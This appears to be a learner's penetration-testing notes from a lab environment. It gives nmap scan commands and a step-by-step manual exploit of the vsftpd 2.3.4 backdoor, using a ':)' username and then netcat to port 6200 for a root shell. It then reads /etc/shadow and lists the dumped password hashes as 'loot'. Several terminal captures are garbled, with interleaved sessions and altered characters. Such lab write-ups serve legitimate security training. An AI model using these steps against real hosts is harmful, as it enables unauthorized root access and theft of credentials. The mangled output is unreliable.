

Penetration Testing

Reconnaissance (Nmap)

1. **nmap <Target_IP>** : shows 1000 common ports
2. **nmap -sV <Target_IP>** : shows service versions of the target
3. **nmap -p- <Target_IP>** : shows all the 65,535 TCP ports of the target
4. **nmap --script vuln <Target_IP>** : vulnerability scan
5. **nmap -A <Target_IP>** : Detailed Scan
6. **nmap -sC -sV -T4 <Target_IP>** : runs default scripts, shows service versions of the target and speeds up the scan

My First Hack: vsftpd

The Vulnerability: Backdoor in vsftpd v2.3.4 triggers on a username ending in :).

The "Manual" Hack (When Metasploit fails):

1. **Open connection:** ftp <Target_IP>
2. **Username:** anyone:)
3. **Password:** anypassword
4. **In a New terminal, connect to the backdoor:** nc -nv <Target_IP> 6200
5. **Test access:** Type "whoami". If it says root, you're in!

```
(kali㉿kali)-[~]  
└─$ ftp 192.168.56.101  
Connected to 192.168.56.101.  
220 (vsFTPd 2.3.4)  
Name (192.168.56.101:kali): anything:)  
331 Please specify the password.  
Password:  
  
421 Service not available, remote server timed out. Connection closed.  
ftp: Login failed  
ftp> █
```

```
kali@kali: ~  
Session Actions Edit View Help  
(kali@kali)-[~] session 2 opened (192.168.56.104:36047 → 192.168.56.101:6200) at 20  
$ nc -nv 192.168.56.101 6200 session was created.  
(UNKNOWN) [192.168.56.101] 6200 (?) open > set payload cmd/unix/interact  
whoami ⇒ cmd/unix/interact  
root exploit(192.168.56.101:6200) > exploit  
ls 192.168.56.101:21 - The port used by the backdoor bind listener is already open  
bin 192.168.56.101:21 - The service on port 6200 does not appear to be a shell  
boot exploit completed, but no session was created.  
cdrom exploit(192.168.56.101:6200) > exit  
dev You have active sessions open, to exit anyway type "exit -y"  
etc exploit(192.168.56.101:6200) > exit -y  
home  
initrd (kali@kali)-[~]  
initrd.img 192.168.56.101  
libnetbsd to 192.168.56.101.  
lost+found 2.3.4)  
media (192.168.56.101:kali): anything:)  
mnt Please specify the password.  
nohup.out  
opt  
proc Service not available, remote server timed out. Connection closed.  
root Login failed  
sbin whoami  
srv valid command.  
sys> exit  
tmp  
usr (kali@kali)-[~]  
var 192.168.56.101  
vmlinuz to 192.168.56.101.  
0 (vsFTPD 2.3.4)  
Name (192.168.56.101:kali): anything:)
```

Troubleshooting

```
(kali@kali)-[~]  
$ ftp 192.168.56.101  
Connected to 192.168.56.101.  
220 (vsFTPD 2.3.4)  
Name (192.168.56.101:kali): anything:)  
331 Please specify the password.  
Password:  
421 Service not available, remote server timed out. Connection closed.  
ftp: Login failed  
ftp>
```

NOTE: "LoginFailed" on port 21 is normal for the vsftpd 2.3.4 exploit. It just means the trigger was pulled. The actual shell is waiting on port 6200.

Post-Exploitation

Post-Exploitation: "cat /etc/shadow" lets me see encrypted passwords.

```
kali@kali: ~  
Session Actions Edit View Help  
cat /etc/shadow  
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7 :::  
daemon*:14684:0:99999:7 :::  
bin*:14684:0:99999:7 :::  
sys:$1$fUX6BP0t$MiyC3UpOzQJqz4s5wFD9l0:14742:0:99999:7 :::  
sync*:14684:0:99999:7 :::  
games*:14684:0:99999:7 :::  
man*:14684:0:99999:7 :::  
lp*:14684:0:99999:7 :::  
mail*:14684:0:99999:7 :::  
news*:14684:0:99999:7 :::  
uucp*:14684:0:99999:7 :::  
proxy*:14684:0:99999:7 :::  
www-data*:14684:0:99999:7 :::  
backup*:14684:0:99999:7 :::  
list*:14684:0:99999:7 :::  
irc*:14684:0:99999:7 :::  
gnats*:14684:0:99999:7 :::  
nobody*:14684:0:99999:7 :::  
libuuid!:14684:0:99999:7 :::  
dhcp*:14684:0:99999:7 :::  
syslog*:14684:0:99999:7 :::  
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7 :::  
sshd*:14684:0:99999:7 :::  
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.iHZjA5/:14684:0:99999:7 :::  
bind*:14685:0:99999:7 :::  
postfix*:14685:0:99999:7 :::  
ftp*:14685:0:99999:7 :::  
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7 :::  
mysql!:14685:0:99999:7 :::  
tomcat55*:14691:0:99999:7 :::  
distccd*:14698:0:99999:7 :::  
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7 :::  
service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7 :::
```

Loot - Password Hashes

List of Encrypted Passwords:

```
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::  
daemon*:14684:0:99999:7:::  
bin*:14684:0:99999:7:::  
sys:$1$fUX6BP0t$MiyC3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::  
sync*:14684:0:99999:7:::  
games*:14684:0:99999:7:::  
man*:14684:0:99999:7:::  
lp*:14684:0:99999:7:::  
mail*:14684:0:99999:7:::  
news*:14684:0:99999:7:::  
uucp*:14684:0:99999:7:::  
proxy*:14684:0:99999:7:::  
www-data*:14684:0:99999:7:::  
backup*:14684:0:99999:7:::
```

list:*.14684:0:99999:7:::
irc:*.14684:0:99999:7:::
gnats:*.14684:0:99999:7:::
nobody:*.14684:0:99999:7:::
libuuid:!.14684:0:99999:7:::
dhcp:*.14684:0:99999:7:::
syslog:*.14684:0:99999:7:::
klog:\$1\$f2ZVMS4K\$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*.14684:0:99999:7:::
msfadmin:\$1\$XN10Zj2c\$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*.14685:0:99999:7:::
postfix:*.14685:0:99999:7:::
ftp:*.14685:0:99999:7:::
postgres:\$1\$Rw35ik.x\$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!.14685:0:99999:7:::
tomcat55:*.14691:0:99999:7:::
distccd:*.14698:0:99999:7:::
user:\$1\$HESu9xrH\$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:\$1\$kR3ue7JZ\$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*.14715:0:99999:7:::
proftpd:!.14727:0:99999:7:::
statd:*.15474:0:99999:7:::